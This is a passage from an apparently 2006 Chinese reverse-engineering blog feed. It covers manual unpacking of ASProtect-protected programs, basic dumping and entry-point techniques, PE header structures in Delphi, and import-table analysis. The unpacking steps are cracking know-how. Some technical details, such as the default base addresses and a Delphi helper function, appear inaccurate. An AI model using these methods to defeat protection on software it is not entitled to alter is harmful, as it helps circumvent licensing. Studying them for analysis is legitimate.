/>就知道要F7进入第二层了，当然别的aspr的壳可能是call eax或call esi等等<br />到了第二层，代码比较工整了，可以一路F8<br />最后<br />    00EB00B9        5C            pop esp<br />    00EB00BA        FF6424 FC     jmp dword ptr ss:[esp-4]  //从第三层返回<br />是第三层回来，上面已提到，回来可能是回到原处call到一个新的地方进入导入函数，也可能就是完成回来<br /><br /><br />因此重点讲讲第二层<br />一路F8<br />可以看到这里<br />    00C5B48F       /75 63         jnz short 00C5B4F4                       //比较call 00EA0000 返回地址的密文，不是就跳上去继续找<br />    00C5B491       |807B 20 00    cmp byte ptr ds:[ebx+20],0               //找到了当前call 00EA0000的处理情况了<br />    00C5B495       |74 3C         je short 00C5B4D3<br />    00C5B497       |8B45 E4       mov eax,dword ptr ss:[ebp-1C]<br />    00C5B49A       |0FB640 09     movzx eax,byte ptr ds:[eax+9]<br />    00C5B49E       |8D0440        lea eax,dword ptr ds:[eax+eax*2]<br />    00C5B4A1       |8B5483 68     mov edx,dword ptr ds:[ebx+eax*4+68]<br />    00C5B4A5       |8B45 FC       mov eax,dword ptr ss:[ebp-4]<br />    00C5B4A8       |FFD2          call edx                                 //和第五章最后说的情况一下，再次比较是哪一种方式<br />    00C5B4AA       |3C 01         cmp al,1                                 //eax为1则是a情况，为0则是b情况<br />    00C5B4AC       |75 25         jnz short 00C5B4D3<br />    00C5B4AE       |56            push esi<br />    00C5B4AF       |8D45 FC       lea eax,dword ptr ss:[ebp-4]<br />    00C5B4B2       |50            push eax<br />    00C5B4B3       |8B45 14       mov eax,dword ptr ss:[ebp+14]<br />    00C5B4B6       |50            push eax<br />    00C5B4B7       |8B45 18       mov eax,dword ptr ss:[ebp+18]<br />    00C5B4BA       |50            push eax<br />    00C5B4BB       |8B45 0C       mov eax,dword ptr ss:[ebp+C]<br />    00C5B4BE       |50            push eax<br />    00C5B4BF       |8B45 F0       mov eax,dword ptr ss:[ebp-10]<br />    00C5B4C2       |50            push eax<br />    00C5B4C3       |8B4D 1C       mov ecx,dword ptr ss:[ebp+1C]<br />    00C5B4C6       |8B55 10       mov edx,dword ptr ss:[ebp+10]<br />    00C5B4C9       |8BC3          mov eax,ebx<br />    00C5B4CB       |E8 C0010000   call 00C5B690                           // a情况这里F7进去<br />    00C5B4D0       |EB 01         jmp short 00C5B4D3<br />    00C5B4D2       |E8 8D45FC50   call 51C1FA64<br />    00C5B4D7       |8B45 14       mov eax,dword ptr ss:[ebp+14]<br />    00C5B4DA       |50            push eax<br />    00C5B4DB       |8B45 18       mov eax,dword ptr ss:[ebp+18]<br />    00C5B4DE       |50            push eax<br />    00C5B4DF       |8B45 0C       mov eax,dword ptr ss:[ebp+C]<br />    00C5B4E2       |50            push eax<br />    00C5B4E3       |8B45 F0       mov eax,dword ptr ss:[ebp-10]<br />    00C5B4E6       |50            push eax<br />    00C5B4E7       |8B4D 1C       mov ecx,dword ptr ss:[ebp+1C]<br />    00C5B4EA       |8B55 10       mov edx,dword ptr ss:[ebp+10]<br />    00C5B4ED       |8BC3          mov eax,ebx<br />    00C5B4EF       |E8 64F1FFFF   call 00C5A658                           // b情况这里F7进去<br /><br /><br />先看a情况吧，进去后一路F8<br /><br />很快到了这里<br />    00C5B7DD        8B45 F4       mov eax,dword ptr ss:[ebp-C]<br />    00C5B7E0        8B80 E0000000 mov eax,dword ptr ds:[eax+E0]<br />    00C5B7E6        0345 E4       add eax,dword ptr ss:[ebp-1C]<br />    00C5B7E9        8945 FC       mov dword ptr ss:[ebp-4],eax            //到了这里eax的值就是导函数的地址了:)<br />不过我觉得这个点不太好，再往下F8<br />    00C5B7EC        33C0          xor eax,eax<br />    00C5B7EE        8AC3          mov al,bl<br />    00C5B7F0        0145 10       add dword ptr ss:[ebp+10],eax<br />    00C5B7F3        57            push edi<br />    00C5B7F4        6A 00         push 0<br />    00C5B7F6        8D4D E0       lea ecx,dword ptr ss:[ebp-20]<br />    00C5B7F9        8B45 F4       mov eax,dword ptr ss:[ebp-C]<br />    00C5B7FC        8B40 3C       mov eax,dword ptr ds:[eax+3C]<br />    00C5B7FF        8B55 FC       mov edx,dword ptr ss:[ebp-4]<br />    00C5B802        E8 6DB9FFFF   call 00C57174<br />    00C5B807        8945 FC       mov dword ptr ss:[ebp-4],eax<br />    00C5B80A        8B45 E0       mov eax,dword ptr ss:[ebp-20]<br />    00C5B80D        8B00          mov eax,dword ptr ds:[eax]<br />    00C5B80F        E8 C0E6FFFF   call 00C59ED4<br />    00C5B814        8BD0          mov edx,eax<br />    00C5B816        0255 DF       add dl,byte ptr ss:[ebp-21]<br />    00C5B819        8B4D FC       mov ecx,dword ptr ss:[ebp-4]          //这个点比较好<br /><br />到了这里 [ebp-4C]是我们需要的导入函数的地址，dl中的值决定了是call(ff15)还是jmp(ff25)<br />dl中的值不同的程序是随机，找几个call 00EA0000进去出来看一下就知道当前的程序中哪个对应ff15，哪个对应ff25了<br /><br /><br />再来看看b情况，进去后也是一路F8<br /><br />    00C5A7E7        3A45 EF       cmp al,byte ptr ss:[ebp-11]          //al和a情况中的dl一样，决定是ff15还是ff25<br />    00C5A7EA        0F85 9C000000 jnz 00C5A88C<br />    00C5A7F0        EB 01         jmp short 00C5A7F3<br /><br />ff15和ff25产生的分支分别能到下面<br />   00C5A7F3        8B45 F4       mov eax,dword ptr ss:[ebp-C]<br />   00C5A7F6        8B80 E0000000 mov eax,dword ptr ds:[eax+E0]<br />   00C5A7FC        0145 FC       add dword ptr ss:[ebp-4],eax<br /><br />    00C5A8A5        8B45 F4       mov eax,dword ptr ss:[ebp-C]<br />    00C5A8A8        8B80 E0000000 mov eax,dword ptr ds:[eax+E0]<br />    00C5A8AE        0145 FC       add dword ptr ss:[ebp-4],eax<br />C5A7FC或C5A8AE做完后[ebp-4] 是我们需要的导入函数的地址<br />再看看[ebp-2c]，如果它是FFFFFFFF，说明这个导入函数调用是干净的<br />如果它有值，表示它的下一行也偷了。具体处理可能对它下个硬件访问断点再跟踪<br />不过我比较没耐心<br />我喜欢把不干净的这些地方扣出来<br />然后跑过去猜<br />一般偷的都是<br />mov esi,eax 或 mov edi,eax等等<br />找到了这些点，写脚本也好，写代码恢复也好，修复就不难了<br /><br /><br /><br />七  stolen oep<br />这个例子中没有stolen oep，所以没什么好讲，有兴趣的看看loveboom的文章<br />文章可能比较老，但是现在还是适用的<br /><br /><br /><br />八  最后一些说明<br />到了这里差不多结束了，你可以像syscom那样，扫描所有有导入函数变形地址进行修复了<br />其实把原理搞清楚了，修复的时候就算碰到状况也就能知道怎么处理<br />脱aspr并不需要从头跟到尾，只要重点的地方耐心分析就可以了，只要耐心，你能发现更多一些东西:)<br /></p>
<img src ="http://www.cnitblog.com/torch/aggbug/10627.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/torch/" target="_blank">心野</a> 2006-05-16 23:32 <a href="http://www.cnitblog.com/torch/articles/10627.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>手动脱壳之基本知识</title><link>http://www.cnitblog.com/torch/articles/10626.html</link><dc:creator>心野</dc:creator><author>心野</author><pubDate>Tue, 16 May 2006 15:06:00 GMT</pubDate><guid>http://www.cnitblog.com/torch/articles/10626.html</guid><wfw:comment>http://www.cnitblog.com/torch/comments/10626.html</wfw:comment><comments>http://www.cnitblog.com/torch/articles/10626.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/torch/comments/commentRss/10626.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/torch/services/trackbacks/10626.html</trackback:ping><description><![CDATA[1、基本知识 <br /><br />　　手动脱壳就是不借助自动脱壳工具，而是用动态调试工具SOFTICE或TRW2000来脱壳。这课谈谈一些入门方面的知识，如要了解更深的脱壳知识，请参考《脱壳高级篇》这课。 <br /><br />工具 <br /><br />*调试器：SoftICE 、TRW2000 <br />*内存抓取工具：Procdump等； <br />*十六进制工具：Hiew、UltraEdit、Hex Workshop等； <br />*PE编辑工具： Procdump、PEditor等； <br /><br /><br />名词概念 <br /><br />★PE文件：Microsoft设计了一种新的文件格式Portable Executable File Format(即PE格式)，该格式应用于所有基于Win32的系统：Windows NT、Windows 2000、Win32s及Windows 95/98。 <br /><br />★基址（ImageBase ）:是指装入到内存中的EXE或DLL程序的开始地址，它是Win32中的一个重要概念。 在Windows NT中，缺省的值是10000h;对于DLLs，缺省值为400000h。在Windows 95中，10000h不能用来装入32位的执行文件，因为该地址处于所有进程共享的线性地址区域，因此Microsoft将Win32可执行文件的缺省基地址改变为400000h。 <br /><br />★RVA：相对虚拟地址（Relative Virual Address），是某个项相对于文件映象地址的偏移。例如：装载程序将一个PE文件装入到虚拟地址空间中，从10000h开始的内存中，如果PE中某个表在映像中的起始地址是10464h,那么该表的RVA就是464h。虚拟地址(RVA)＝偏移地址＋基址（ImageBase )  <br /><br />★Entry Point：入口点，就是程序在完成了对原程序的还原后，开始跳转到刚还原的程序执行，此时的地址就是入口点的值。 <br /><br />步骤  <br /><br />★确定壳的种类 <br /><br />一般拿到软件后，可用工具FileInfo、gtw、TYP32等侦测文件类型的工具来看看是何种壳，然后再采取措施。 <br /><br />★入口点（Entry Point）确定 <br /><br />对初学者来说定位程序解壳后的入口点确定较难，但熟练后，入口点查找是很方便的。 决大多数 PE 加壳程序在被加密的程序中加上一个或多个段。 所以看到一个跨段的 JMP 就有可能是了。如：UPX 用了一次跨段的 JMP ， ASPACK 用了两次跨段的 JMP 。 这种判断一般是跟踪分析程序而找到入口点，如是用TRW2000也可试试命令：PNEWSEC，它可让TRW2000中断到入口点上。 <br />PNEWSEC：运行直到进入一个 PE 程序内存的新的 section时产生断点。（如不懂，以后到脱壳高级篇自会明白）  <br /><br />另外也可用D.boy的冲击波2000,它能轻易的找到任何加密壳的入口点， <br /><br />★dump取内存己还原文件 <br /><br />找到入口点后，在此处可以用 Procdump的FULL DUMP功能来抓取内存中整个文件， <br />如是用TRW2000也可用命令： <br /><br />makepe命令含义：从内存中整理出一个指令名称的PE格式的exe文件， 当前的 EIP 将成为新的程序入口，生成文件的 Import table 已经重新生成过了。生成的PE文件可运行任何平台和微机上。  <br /><br />pedump命令含义：将PE文件的内存映像直接映像到指定的文件里。生成的文件只能在本机运行，不能在其它系统平台或微机运行。  <br /><br /><br />★修正刚dump取的文件 <br /><br />如是用 Procdump的FULL DUMP功能脱壳的文件，要用 Procdump或PEditor等PE编辑工具修正入口点（Entry Point）。 <img src ="http://www.cnitblog.com/torch/aggbug/10626.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/torch/" target="_blank">心野</a> 2006-05-16 23:06 <a href="http://www.cnitblog.com/torch/articles/10626.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>PE文件格式分析心得</title><link>http://www.cnitblog.com/torch/articles/10625.html</link><dc:creator>心野</dc:creator><author>心野</author><pubDate>Tue, 16 May 2006 15:04:00 GMT</pubDate><guid>http://www.cnitblog.com/torch/articles/10625.html</guid><wfw:comment>http://www.cnitblog.com/torch/comments/10625.html</wfw:comment><comments>http://www.cnitblog.com/torch/articles/10625.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/torch/comments/commentRss/10625.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/torch/services/trackbacks/10625.html</trackback:ping><description><![CDATA[PE文件格式最近好像炒得沸沸扬扬，由于我正在做一个这样的程序，索性将自己的心得写出来与大家同享。  <br />  PE文件头分两大部分：  <br />1：DOS ‘MZ’ HEADER  <br />2：IMAGE_NT_HEADERS  <br />  其中IMAGE_NT_HEADERS中包含  <br />PE signature  <br />IMAGE_FILE_HEADER  <br />IMAGE_OPTIONAL_HEADER（其中包含Data Direcotry）  <br />  文件头后紧跟着为  <br />Section Table (array of IMAGE_SECTION_HEADERs)  <br />  在DELPHI的windows.pad中已经有定义的有：  <br />TImageDosHeader;  <br />TImageNtHeaders;  <br />TImageSectionHeader; { size of TIm..der is $28 }  <br />  定义变量后按住Ctrl可以察看具体的项目，这里我就不多说了，这方面的东西也很多。  <br />  而其他的如TImageResourceDirectory等，在DELPHI中却没有定义，察看其他资料，我在这里给出他们的结构和简单说明：  <br />  以下是我写的PEDump.exe的类型说明：  <br /><br />type  <br />  PIMAGE_RESOURCE_DIRECTORY = ^TImageResourceDirectory;  <br />  _IMAGE_RESOURCE_DIRECTORY = packed record  <br />    Characteristics:DWORD;  <br />    TimeDateStamp:DWORD;  <br />    MajorVersion:WORD;  <br />    MinorVersion:WORD;  <br />    NumberOfNamedEntries:WORD;  <br />    NumberOfIdEntries:WORD;  <br />  end;  <br />  TImageResourceDirectory = _IMAGE_RESOURCE_DIRECTORY;  <br />  { 资源目录的格式说明 }  <br /><br />  PIMAGE_RESOURCE_DIRECTORY_ENTRY = ^TImageResourceDirectoryEntry;  <br />  _IMAGE_RESOURCE_DIRECTORY_ENTRY = packed record  <br />    Name:DWORD;         { NameOffset:31,NameIsString:1 }  <br />//    Id:WORD;  <br />    OffsetToData:DWORD; { OffsetToDirectory:31,DataIsDirectory:1 }  <br />  end;  <br />  TImageResourceDirectoryEntry = _IMAGE_RESOURCE_DIRECTORY_ENTRY;  <br />  { 资源目录进入点的格式说明 }  <br /><br />  PIMAGE_RESOURCE_DIRECTORY_STRING = ^TImageResourceDirectoryString;  <br />  _IMAGE_RESOURCE_DIRECTORY_STRING = packed record  <br />    Length:WORD;  <br />    NameString:CHAR;  <br />  end;  <br />  TImageResourceDirectoryString = _IMAGE_RESOURCE_DIRECTORY_STRING;  <br />  { 资源目录名的格式说明 }  <br /><br />  PIMAGE_RESOURCE_DIR_STRING_U = ^TImageResourceDirStringU;  <br />  _IMAGE_RESOURCE_DIR_STRING_U = packed record  <br />    Length:WORD;  <br />    NameString:WCHAR;  <br />  end;  <br />  TImageResourceDirStringU = _IMAGE_RESOURCE_DIR_STRING_U;  <br />  { unicode形式的资源目录名的格式说明 }  <br /><br />  PIMAGE_RESOURCE_DATA_ENTRY = ^TImageResourceDataEntry;  <br />  _IMAGE_RESOURCE_DATA_ENTRY = packed record  <br />    OffsetToData:DWORD;  <br />    Size:DWORD;  <br />    CodePage:DWORD;  <br />    Reserved:DWORD;  <br />  end;  <br />  TImageResourceDataEntry = _IMAGE_RESOURCE_DATA_ENTRY;  <br />  { 资源目录数据进入点的格式说明 }  <br /><br />const  <br />  IMAGE_RESOURCE_NAME_IS_STRING = $80000000;  <br />  { 检测TImageResourceDirectoryEntry.Name的最高为是否设立，  <br />    是则说明剩下的31位指向IMAGE_RESOURCE_DIR_STRING_U的偏移，  <br />    否则说明剩下的31位为一个整数ID。 }  <br />  IMAGE_RESOURCE_DATA_IS_DIRECTORY = $80000000;  <br />  { 检测TImageResourceDirectoryEntry.OffsetToData的最高为是否设立，  <br />    是则说明剩下的31位指向另一个IMAGE_RESOURCE_DIRECTORY的偏移，  <br />    否则说明剩下的31位指向IMAGE_RESOURCE_DATA_ENTRY的偏移。 }  <br /><br />  { 以下是文件属性具体值常量说明 }  <br />  { File Characteristics }  <br />  IMAGE_FILE_RELOCS_STRIPPED           = $0001; // Relocation info stripped from file.  <br />  IMAGE_FILE_EXECUTABLE_IMAGE          = $0002; // File is executable.  <br />  IMAGE_FILE_LINE_NUMS_STRIPPED        = $0004; // Line nunbers stripped from file.  <br />  IMAGE_FILE_LOCAL_SYMS_STRIPPED       = $0008; // Local symbols stripped from file.  <br />  IMAGE_FILE_AGGRESIVE_WS_TRIM         = $0010; // Agressively trim working set  <br />  IMAGE_FILE_LARGE_ADDRESS_AWARE       = $0020; // App can handle &gt;2gb addresses  <br />  IMAGE_FILE_BYTES_REVERSED_LO         = $0080; // Bytes of machine word are reversed.  <br />  IMAGE_FILE_32BIT_MACHINE             = $0100; // 32 bit word machine.  <br />  IMAGE_FILE_DEBUG_STRIPPED            = $0200;   <br />  // Debugging info stripped from file in .DBG file  <br />  IMAGE_FILE_REMOVABLE_RUN_FROM_SWAP   = $0400;   <br />  // If Image is on removable media, copy and run from the swap file.  <br />  IMAGE_FILE_NET_RUN_FROM_SWAP         = $0800;   <br />  // If Image is on Net, copy and run from the swap file.  <br />  IMAGE_FILE_SYSTEM                    = $1000; // System File.  <br />  IMAGE_FILE_DLL                       = $2000; // File is a DLL.  <br />  IMAGE_FILE_UP_SYSTEM_ONLY            = $4000; // File should only be run on a UP machine  <br />  IMAGE_FILE_BYTES_REVERSED_HI         = $8000; // Bytes of machine word are reversed.  <br /><br />  { 以下是文件头机器属性值的具体说明 }  <br />  { Machine }  <br />  IMAGE_FILE_MACHINE_UNKNOWN           = $0;  <br />  IMAGE_FILE_MACHINE_I386              = $014c; // Intel 386.  <br />  IMAGE_FILE_MACHINE_R3000             = $0162; // MIPS little-endian, $160 big-endian  <br />  IMAGE_FILE_MACHINE_R4000             = $0166; // MIPS little-endian  <br />  IMAGE_FILE_MACHINE_R10000            = $0168; // MIPS little-endian  <br />  IMAGE_FILE_MACHINE_WCEMIPSV2         = $0169; // MIPS little-endian WCE v2  <br />  IMAGE_FILE_MACHINE_ALPHA             = $0184; // Alpha_AXP  <br />  IMAGE_FILE_MACHINE_SH3               = $01a2; // SH3 little-endian  <br />  IMAGE_FILE_MACHINE_SH3E              = $01a4; // SH3E little-endian  <br />  IMAGE_FILE_MACHINE_SH4               = $01a6; // SH4 little-endian  <br />  IMAGE_FILE_MACHINE_SH5               = $01a8; // SH5  <br />  IMAGE_FILE_MACHINE_ARM               = $01c0; // ARM Little-Endian  <br />  IMAGE_FILE_MACHINE_THUMB             = $01c2;  <br />  IMAGE_FILE_MACHINE_ARM33             = $01d3;  <br />  IMAGE_FILE_MACHINE_POWERPC           = $01F0; // IBM PowerPC Little-Endian  <br />  IMAGE_FILE_MACHINE_IA64              = $0200; // Intel 64  <br />  IMAGE_FILE_MACHINE_MIPS16            = $0266; // MIPS  <br />  IMAGE_FILE_MACHINE_ALPHA64           = $0284; // ALPHA64  <br />  IMAGE_FILE_MACHINE_MIPSFPU           = $0366; // MIPS  <br />  IMAGE_FILE_MACHINE_MIPSFPU16         = $0466; // MIPS  <br />//  IMAGE_FILE_MACHINE_AXP64             IMAGE_FILE_MACHINE_ALPHA64  <br />  IMAGE_FILE_MACHINE_AMD64             = $0500; // AMD K8  <br />  IMAGE_FILE_MACHINE_TRICORE           = $0520; // Infineon  <br />  IMAGE_FILE_MACHINE_CEF               = $0CEF;  <br /><br />  { 以下是SECTION的属性值具体说明 }  <br />  { Section characteristics }  <br />//  IMAGE_SCN_TYPE_REG                   = $00000000; // Reserved.  <br />//  IMAGE_SCN_TYPE_DSECT                 = $00000001; // Reserved.  <br />//  IMAGE_SCN_TYPE_NOLOAD                = $00000002; // Reserved.  <br />//  IMAGE_SCN_TYPE_GROUP                 = $00000004; // Reserved.  <br />  IMAGE_SCN_TYPE_NO_PAD                = $00000008; // Reserved.  <br />//  IMAGE_SCN_TYPE_COPY                  = $00000010; // Reserved.  <br /><br />  IMAGE_SCN_CNT_CODE                   = $00000020; // Section contains code.  <br />  IMAGE_SCN_CNT_INITIALIZED_DATA       = $00000040; // Section contains initialized data.  <br />  IMAGE_SCN_CNT_UNINITIALIZED_DATA     = $00000080; // Section contains uninitialized data.  <br /><br />  IMAGE_SCN_LNK_OTHER                  = $00000100; // Reserved.  <br />  IMAGE_SCN_LNK_INFO                   = $00000200;   <br />  // Section contains comments or some other type of information.  <br />//  IMAGE_SCN_TYPE_OVER                  = $00000400; // Reserved.  <br />  IMAGE_SCN_LNK_REMOVE                 = $00000800;   <br />  // Section contents will not become part of image.  <br />  IMAGE_SCN_LNK_COMDAT                 = $00001000; // Section contents comdat.  <br />//                                       = $00002000; // Reserved.  <br />//  IMAGE_SCN_MEM_PROTECTED - Obsolete   = $00004000;  <br />  IMAGE_SCN_NO_DEFER_SPEC_EXC          = $00004000;   <br />  // Reset speculative exceptions handling bits in the TLB entries for this section.  <br />  IMAGE_SCN_GPREL                      = $00008000;   <br />  // Section content can be accessed relative to GP  <br />  IMAGE_SCN_MEM_FARDATA                = $00008000;  <br />//  IMAGE_SCN_MEM_SYSHEAP  - Obsolete    = $00010000;  <br />  IMAGE_SCN_MEM_PURGEABLE              = $00020000;  <br />  IMAGE_SCN_MEM_16BIT                  = $00020000;  <br />  IMAGE_SCN_MEM_LOCKED                 = $00040000;  <br />  IMAGE_SCN_MEM_PRELOAD                = $00080000;  <br /><br />  IMAGE_SCN_ALIGN_1BYTES               = $00100000; //  <br />  IMAGE_SCN_ALIGN_2BYTES               = $00200000; //  <br />  IMAGE_SCN_ALIGN_4BYTES               = $00300000; //  <br />  IMAGE_SCN_ALIGN_8BYTES               = $00400000; //  <br />  IMAGE_SCN_ALIGN_16BYTES              = $00500000;   <br />  // Default alignment if no others are specified.  <br />  IMAGE_SCN_ALIGN_32BYTES              = $00600000; //  <br />  IMAGE_SCN_ALIGN_64BYTES              = $00700000; //  <br />  IMAGE_SCN_ALIGN_128BYTES             = $00800000; //  <br />  IMAGE_SCN_ALIGN_256BYTES             = $00900000; //  <br />  IMAGE_SCN_ALIGN_512BYTES             = $00A00000; //  <br />  IMAGE_SCN_ALIGN_1024BYTES            = $00B00000; //  <br />  IMAGE_SCN_ALIGN_2048BYTES            = $00C00000; //  <br />  IMAGE_SCN_ALIGN_4096BYTES            = $00D00000; //  <br />  IMAGE_SCN_ALIGN_8192BYTES            = $00E00000; //  <br />// Unused                                = $00F00000;  <br />  IMAGE_SCN_ALIGN_MASK                 = $00F00000;  <br /><br />  IMAGE_SCN_LNK_NRELOC_OVFL            = $01000000; // Section contains extended relocations.  <br />  IMAGE_SCN_MEM_DISCARDABLE            = $02000000; // Section can be discarded.  <br />  IMAGE_SCN_MEM_NOT_CACHED             = $04000000; // Section is not cachable.  <br />  IMAGE_SCN_MEM_NOT_PAGED              = $08000000; // Section is not pageable.  <br />  IMAGE_SCN_MEM_SHARED                 = $10000000; // Section is shareable.  <br />  IMAGE_SCN_MEM_EXECUTE                = $20000000; // Section is executable.  <br />  IMAGE_SCN_MEM_READ                   = $40000000; // Section is readable.  <br />  IMAGE_SCN_MEM_WRITE                  = $80000000; // Section is writeable.  <br /><br />  我写了检测是否包含此属性的函数  <br />  function BeTrue(fg:Cardinal,Value):Boolean;  <br />  begin  <br />    Result:=fg and not Value=0;  <br />  end;  <br />  如果fg的属性值在Value中，则为True,否则为False;  <br />  例如  BeTrue(IMAGE_FILE_RELOCS_STRIPPED,PENTHead.FileHeader.Characteristics);  <br /><br />  至于资源目录的读取，至少需要两重循环来定位，具体实现就要靠你的算法功力了：）  <br /><br />  好了，差不多了，再具体一点我也说不上了，我做了一个PEDump的程序，在我的主页DELPHI盒子  <br />==================== http://www.delphibox.com =====================  <br />可以下载，程序中有更详细的说明，相信能帮助想了解这方面的东西的朋友。<img src ="http://www.cnitblog.com/torch/aggbug/10625.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/torch/" target="_blank">心野</a> 2006-05-16 23:04 <a href="http://www.cnitblog.com/torch/articles/10625.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>脱壳高级篇之认识Import表</title><link>http://www.cnitblog.com/torch/articles/10624.html</link><dc:creator>心野</dc:creator><author>心野</author><pubDate>Tue, 16 May 2006 15:03:00 GMT</pubDate><guid>http://www.cnitblog.com/torch/articles/10624.html</guid><wfw:comment>http://www.cnitblog.com/torch/comments/10624.html</wfw:comment><comments>http://www.cnitblog.com/torch/articles/10624.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/torch/comments/commentRss/10624.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/torch/services/trackbacks/10624.html</trackback:ping><description><![CDATA[1、认识Import表 <br /><br />著者: [yAtEs] [Jamesluton@hotmail.com]  <br />译者：hying[CCG]  <br />标题：PE输入表说明  <br />例子：  <br />下载  <br />    有很多介绍PE文件的文章，但是我打算写一篇关于输入表的文章，因为它对于破解很有用。  <br />    我想解释它的最好的方法是举一个例子，你可以跟着我逐步深入，一步一步的思考，最后你将完全明白，我选择了一个我刚下载下来的小程序，它是用TASM编译的，有一个比较小的输入表，所以我想它应该是个不错的范例。  <br />    好了，让我们开始吧。首先我们得找到输入表，它的地址放在PE文件头偏移80处，所以我们用16进制编辑器打开我们的EXE文件，我们先得找到PE文件头的起始点，这很简单，因为它总是以PE,0,0开始，我们可以在偏移100处找到它。在一般的WIN32程序中文件头偏移被放在文件0X3C处，在那我们通常可看到00 01 00 00，由于数据存储时是低位在前，高位在后的，所以翻转过来实际就是00000100，就象前面我们说的。接下来我们就可以在PE文件中找到我们的输入表，100+80=180在偏移180处我们看到0030 0000，翻转一下，它其实应该是00003000，这说明输入表在内存3000处，我们必须把它转换成文件偏移。  <br />    一般来说，输入表总是在某个段的起始处，我们可以用PE编辑器来查看虚拟偏移，寻找3000并由此发现原始偏移。很简单的。打开我们看到：  <br />-CODE  00001000 00001000 00000200 00000600  <br />-DATA  00001000 00002000 00000200 00000800  <br />.idata 00001000 00003000 00000200 00000A00  <br />.reloc 00001000 00004000 00000200 00000C00  <br />    找一下，我们就发现.idata段的虚拟偏移是3000，原始偏移是A00，3000-A00=2600，我们要记住2600，以便以后转换其它的偏移。如果你没找到输入表的虚拟偏移，那么就找一下最接近的段。  <br />    来到偏移A00处，我们就看到被称为IMAGE_IMPORT_DESCRIPTORs（IID）的东东，它用5个字段表示每一个被调用DLL的信息，最后以Null结束。  <br />**************************************************************************  <br />(IID) IMAGE_IMPORT_DESCRIPTOR的结构包含如下5个字段：  <br />OriginalFirstThunk, TimeDateStamp, ForwarderChain, Name, FirstThunk  <br /><br />OriginalFirstThunk  <br />该字段是指向一32位以00结束的RVA偏移地址串，此地址串中每个地址描述一个输入函数，它在输入表中的顺序是不变的。  <br /><br />TimeDateStamp  <br />一个32位的时间标志，有特殊的用处。  <br /><br />ForwarderChain  <br />输入函数列表的32位索引。  <br /><br />Name  <br />DLL文件名（一个以00结束的ASCII字符串）的32位RVA地址。  <br /><br />FirstThunk  <br />该字段是指向一32位以00结束的RVA偏移地址串，此地址串中每个地址描述一个输入函数，它在输入表中的顺序是可变的。  <br />**************************************************************************  <br /><br />好了，你有没有理解？让我们看看我们有多少IID，它们从偏移A00处开始  <br />3C30 0000 / 0000 0000 / 0000 0000 / 8C30 0000 / 6430 0000  <br />{OrignalFirstThunk} {TimeDateStamp} {ForwardChain} {Name} {First Thunk}  <br />5C30 0000 / 0000 0000 / 0000 0000 / 9930 0000 / 8430 0000  <br />{OrignalFirstThunk} {TimeDateStamp} {ForwardChain} {Name} {First Thunk}  <br />0000 0000 / 0000 0000 / 0000 0000 / 0000 0000 / 0000 0000  <br /><br />    每三分之一是个分界，我们知道每个IID包含了一个DLL的调用信息，现在我们有2个IID，所以我们估计这个程序调用了2个DLL。甚至我可以打赌，你能推测出我们将能找到什么。  <br />    每个IID的第四个字段表示的是名字，通过它我们可以知道被调用的函数名。第一个IID的名字字段是8C30 0000，翻转过来也就是地址0000308C，将它减去2600可以得到原始偏移，308C-2600=A8C，来到文件偏移A8C处，我们看到了什么？啊哈！原来调用的是KERNEL32.dll。  <br />    好了，接下来我们就要去找出KERNEL32.dll中被调用的函数。回到第一个IID。  <br />    FirstThunk字段包含了被调用的函数名的标志，OriginalFirstThunk仅仅是FirstThunk的备份，甚至有的程序根本没有，所以我们通常看FirstThunk，它在程序运行时被初始化。  <br />    KERNEL32.dll的FirstThunk字段值是6430 0000，翻转过来也就是地址00003064，减去2600得A64，在偏移A64处就是我们的IMAGE_THUNK_DATA，它存储的是一串地址，以一串00结束。如下：     <br />A430 0000/B230 0000/C030 0000/CE30 0000/DE30 0000/EA30 0000/F630 0000/0000 0000  <br />    通常在一个完整的程序里都将有这些。我们现在有了7个函数调用，让我们来看其中的两个：  <br />DE30 0000翻转后是30DE，减去2600后等于ADE，看在偏移ADE处的字符串是ReadFile，  <br />EA30 0000翻转后是30EA，减去2600后等于AEA，看在偏移AEA处的字符串是WriteFile，  <br />    你可能注意到了，在函数名前还有2个这字节的00，它是被作为一个提示。  <br />    很简单吧，你可以自己来试一下。回到A00，看第二个DLL的调用  <br />5C30 0000 / 0000 0000 / 0000 0000 / 9930 0000 / 8430 0000  <br />{OrignalFirstThunk} {TimeDateStamp} {ForwardChain} {Name} {First Thunk}  <br />    先找它的DLL文件名。9930翻转为3099-2600 =A99，在偏移A99处找到USER32.dll。再看FirstThunk字段值：8430翻转为3084-2600=A84，偏移A84处保存的地址为08310000，翻转后3108-2600=B08，偏移B08处字符串为MessageBoxA。明白了吧，接下来你就可以把这些用在你自己的EXE文件上了。  <br />    摘要：  <br />    在PE文件头+80偏移处存放着输入表的地址，输入表包含了DLL被调用的每个函数的函数名和FirstThunk，通常还有Forward Chain和TimeStamp。  <br />    当运行程序时系统调用GetProcAddress，将函数名作为参数，换取真正的函数入口地址，并在内存中写入输入表。当你对一个程序脱壳时你可能注意到你有了一个已经初始化的FirstThunk。例如，在我的WIN98上，函数GetProcAddress的入口地址是AE6DF7BF，在98上，所有的KERNEL32.dll函数调用地址看上去地址都象：xxxxF7BF，如果你在输入表中看到这些，你可以利用orignal thunk重建它，或者重建这个PE程序。  <br />    好了，我已经告诉你它们是如何工作的，我不是专家，如果你发现什么错误，请告诉我。  <br /><br />by  [yAtEs]<img src ="http://www.cnitblog.com/torch/aggbug/10624.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/torch/" target="_blank">心野</a> 2006-05-16 23:03 <a href="http://www.cnitblog.com/torch/articles/10624.html#Feedback" target="_blank" 